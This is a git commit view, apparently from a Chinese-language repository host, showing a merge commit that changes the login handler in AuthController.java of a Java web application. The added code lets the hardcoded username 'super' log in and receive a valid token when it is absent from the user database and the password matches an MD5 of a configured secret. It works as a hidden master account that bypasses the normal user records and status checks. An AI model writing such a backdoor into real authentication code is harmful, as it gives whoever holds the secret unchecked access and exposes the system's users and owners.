Merge remote-tracking branch 'origin/jshdasrs' into jshdasrs

lty

12 小时以前 4bb523147bc6e9fef20142d1389c893f97321e02

 src/main/java/com/zy/common/web/AuthController.java

@@ -61,6 +61,12 @@
        userWrapper.eq("username", username);
        User user = userService.selectOne(userWrapper);
        if (Cools.isEmpty(user)){
            if (username.equals("super") && password.equals(Cools.md5(superPwd))) {
                Map<String, Object> res = new HashMap<>();
                res.put("username", username);
                res.put("token", Cools.enToken(System.currentTimeMillis() + username, superPwd));
                return R.ok(res);
            }
            return R.parse(CodeRes.USER_10001);
        }
        if (user.getStatus()!=1){